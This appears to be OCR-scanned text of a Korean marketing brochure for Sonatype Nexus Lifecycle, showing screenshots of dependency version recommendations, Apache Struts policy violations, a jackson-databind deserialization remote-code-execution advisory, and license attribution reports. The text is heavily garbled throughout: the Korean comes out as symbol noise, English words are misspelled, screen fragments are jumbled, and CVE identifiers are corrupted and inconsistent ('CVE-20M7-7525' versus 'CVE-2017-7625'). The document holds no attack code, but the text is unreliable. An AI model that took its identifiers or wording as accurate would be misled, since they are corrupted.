?%nlzfjrnr:l;:s-httpcliem . % Recommended Version(s) Selected Version: 2.6.1
So n a t e (7] commons-httpclient [ ] Select 55.2: Next version with no policy violation Group: com.ibm.icu
yp 7 domdj - 1.6.1 [ | _ Artifact: icudj
[ {0 freemarker - 2.3.10 [ | Version Graph Version: 2.6.1
I Ife CyCIe licudigeedl U Oder This Version Newer Declared License: Not Declared
O jackson-mapper-as! - 1.3.2 n Popularity Observed License: No Sources
() netty - 3.4.4.Final [ | o
7 selenium-firefox-driver - 3.8.1 . <] Effective License: Not Declared, No Sources
) xalan - 2.6.0 B rolicy Threat Highest Policy Threat: n
() xstream - 1.3.1 [ | Hldseelgﬁ:'?l:s Highest CVSS Score: 7.5
(U] commons-codec - 1.10 [ ] 'é::?h? Cataloged: 13 years ago
O guava - 23.0 0 ey Match State: exact
W xpp3.pain - 1.1.4c = Click on the graph above to see details about different versions Identification Source: Sonatype
[ |

Category: Internationalization

| Z._-IA-Ilj:" NOl 7H HEI-/HHE(SDLC> 0 anlﬁthatlons -7.0.3 View Details Migrate to Selected

IO QEAA HHHA B o i -50

O

M =2
o

=
= = ) o ) o
Component List : .24 El Direct Dependency & Transitive Dependency 2| AE

Recommended Versions : S ZEEHE = Z2H0]| Hel6l= HA =4
ZHEO]| LSt A & Property 22!

SOFTWARE COMPOSITION

ANALYSIS

Version Details : ZEEE M|EZHE

IT Central Station

=)

@
2
#1 RANKED e Version Graph : MEHE| Z{ X
(4
o

View Details and Migrate Buttons : 2t2 42 &l 0|5+ M|§ =HQl 2! Migration

W
|
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AFFRCTID
AP
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CRTICAL SEVERE MOCERATE

QO sonatype
SBOM Software Bill of Materials, 2L EQ||0] 142 A HAM|A]) 7\|‘% égé;

- | 9mAAgA3 W
z —
< 3party Q|2 Y =2

r CHiest ewalunthon 7 mosifs ago

Fiiter Mamage - Results
: Eﬂ"': » | vioLaTons ) comeonents [l AFPUCATIONS
e o
sonatype .
° L) o SRR T »
lifecycle G T |
¥ Comeate org apache struls | virutsd portiel | war | 2314
= Potcy Types 14 orgapachesirum | virend cev showrase wer 2 1M +
D--"h- s s 13 .
b Secumy
r‘ll'-'- crg apache sruts | sirutsl mabesder w2 1M 4
1) Oty TR S —————— 11
L omer g apache struts | srutsd-core | 2IM
ZMIA No.1 ZHE /Hi 3 (SDI.C) p——— ]
g gl arrecrs g et 188 MCO0 P
40| QEAA HHEHA N ]
g gk eewcrs  wrngeet 10 % BTLEASE 4
UEM S — ]
SONATYPE NEXUS LIFECYCLE — —
#1 RANKED 2 240 CHot A

IT Central Station

Al

al
o

| Repository results for maven-central

Vulnerability Information

SEMING e MARCIOUSHy Craned INpUL1d INe réaavaile metndd o Ine UDieCIMapper.
This isswe exténds the prévious flaw CVE-20M7-7525 by blacklisting mone classes thal
could be used malicioushy.

Explanation

jackson=databind iS vuinerable 15 Remate Code Execution (RCEL The
ergatsBoanbeserializer () Tunction inthe BesrDeserislizerFacrory cligs
allows unfrusted Java objects 1o be desaralized. A remote attacker can exploit this by
uplgading a malkciows senalized object that will result in RCE if the applcation attempts
1o daserialize iU

Maote: This vulnerability exists due ta the incomplete fix far CVE-2017-7625

Datection
The application ks vulnetable by using this component, whan default typing is enabled
and passing in untrusted data 1o be desedalization.

HMote: Spring Security has provided their own fix for this vulnerability ([CVE-2017-4995) If
this companent is being used as pan of Spring Security, then you aré nol vulnerable if
you ang running Spring Security 4,2, 3 RELEASE or greater for 4.x or Spring Security
S0.0M2 or greater for S,

Recommendation

There is no non vulnerable version of this component. Despite there being a fix
prowided by Jackson, it uses a black-list approach. if there is another class not black-
sted which performs deserialization on the classpath, then this may lead 19 code

Close

WWW. sonntype.com www.osckorea.com
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Advanced Legal Pack(Lifecycle Add-On; 2f0[/ A O|F Afgh

l The Advanced Legal Pack in Action

sonatype
S%liﬁﬁﬁs%ﬁgzﬂﬁﬁ!y r
I @ » ~

[
lifecycle
Or Provides Step by Step Automatically Generate >

Guidance on lees Attribution Reports l \

Ship Reports With
1 Your Products

Review Legal Notification

.

[ F I L
HMIA No.1 JHE/HHZ(SDLC) ZIO|MIA 0|2 HE &1 Compliance YT EE2Q Attribution HITA

MatHo| QEAA HHEA License Obligation Review Tool O|RARIEE RS 4 Q= THAIEH Atso 2 AHHHE 4216101
ol 2 iy ArES0l AR HEQ| ot 2= HIAEER A& Attribution Report (AFZLHSE 11 A])
2fO|MAE A AESH £ U= A&
s o —— R
- B o

SONATYPE NEXUS LIFECYCLE LastModified  Modifed by Fulfiled  Flagged  NotApplicable Seages

. . org.apache.commans : commons-collectionsd : 4.4
#‘-1 RA N K E D Apache 10 License Obligations 3 iy aga i ‘e 1 1 Fuiel 714
T
= = oFthe e et
1o camy prasicent

it Sabe Champer

Obligations to Review baar all s Fuléilled Licanzes License Files
SOFTWARE COMPOSITION Agathe 2.0
AMALYSIS
@ Inclusion of Copyright & rultiled = Copyright Notices

IT Central Station

Capyright 2001 2019 The,

TERMS AND TOKHTIONS FOR USE, REPRODUCTION,
@ Inclusicn of Natice & Fulfiled  w Notlce Flles AN DISTRIBLITION

& Must State Changes ok Flagpes =

mnt . - oy n,
@ Inclusion of License ™ Fulliled - :))
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